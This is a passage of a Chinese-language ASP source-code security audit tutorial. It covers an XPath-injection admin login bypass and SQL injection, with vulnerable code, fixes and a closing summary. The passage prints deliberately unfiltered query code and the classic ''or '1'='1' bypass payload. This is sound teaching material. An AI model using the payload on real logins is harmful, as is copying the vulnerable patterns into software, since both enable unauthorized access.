  3.     On Error Resume Next 
  4.     elementname="http://"&"root/row[name='"&elementname&"' and password='"&elementpass&"']" 
  5.     temp =  XMLMorntekDocument.selectSingleNode(elementname).text 
  6.     If temp <> "" Then 
  7.         Session("UserName") = "asp163" 
  8.         Response.Write("Welcome , Sysadmin") 
  9.     Else 
  10.         Response.Redirect("/admin/Login.asp") 
  11.     end if 
  12. end function  
  13. ConnectXml("../admin.xml") 
  14. Call SelectXmlNodeText(Request("name"),Request("pass")) 
  15. %> 

上述代碼實現(xiàn)的是一個后臺管理驗證的功能,admin.xml文件位于站點根目錄之外,無法用Http方式下載。程序?qū)equest對象獲取來的數(shù)據(jù)沒有經(jīng)過安全過濾,導致了經(jīng)典萬能密碼繞過漏洞。

漏洞利用:

攻擊者提交Name和Pass都是“’or ’1′=’1”時候,XML查詢節(jié)點就變成 “//root/row[name=''or '1'='1' and password=''or '1'='1']” OR語句 發(fā)揮了重大作用,只要一個條件為真就可以滿足繞過的條件。

漏洞修復:和SQL注射一樣,需要對客戶端提交過來的數(shù)據(jù)進行過濾,在本案例中可以過濾掉單引號即可。#p#

十三.SQL注射(SQL Injection)

概述:目前沒有對SQL注入技術(shù)的標準定義,微軟中國技術(shù)中心從2個方面進行了描述:

(1) 腳本注入式的攻擊

(2) 惡意用戶輸入用來影響被執(zhí)行的SQL腳本

SQL注入攻擊利用的是SQL語法,這使得這種攻擊具有廣泛性。理論上說,對于所有基于SQL語言標準的數(shù)據(jù)庫軟件包括SQL Server,Oracle,MySQL, ACCESS,DB2,Informix等以及與之連接的網(wǎng)絡應用程序包括Active/Java Server Pages, PHP或Perl等都是有效的。當然各種軟件有自身的特點,實際的攻擊代碼可能不盡相同。

漏洞原理: 通過客戶端發(fā)送SQL語句,可以查詢,更新,刪除 數(shù)據(jù)庫中的數(shù)據(jù),此漏洞是ASP下最為流行的漏洞。攻擊者可以通過GET,POST,COOKIE,SERVER提交任意數(shù)據(jù),若數(shù)據(jù)庫是SQL Server數(shù)據(jù)庫,則漏洞危害性更大。

漏洞代碼:

 
 
 
 
  1. <% 
  2. Set rs = Server.CreateObject("ADODB.RecordSet") 
  3. sqlString="SELECT * FROM News WHERE Id=" & Request.QueryString("id") 
  4. rs.Open sqlString, Conn, 1, 1 
  5. %> 

漏洞利用:

漏洞修復:對獲取的數(shù)字型變量用Clng函數(shù)轉(zhuǎn)換,對于字符型用Replace函數(shù)過濾單引號。

0×03 總結(jié):

ASP經(jīng)過這么多年還能屹立不倒,除了本身易學易用性之外,還有搭配的ACCESS數(shù)據(jù)庫方便移植的特性,讓很多程序員在選擇為中小網(wǎng)站做開發(fā)的時候首選ASP。掌握這些ASP漏洞對于開發(fā)者來說是相當有必要的,只有這樣才能寫出更強大安全的應用程序,才能促進整個互聯(lián)網(wǎng)的安全與開放。


網(wǎng)站欄目:Web源碼安全審計之ASP篇
文章位置:http://www.5511xx.com/article/dpdddih.html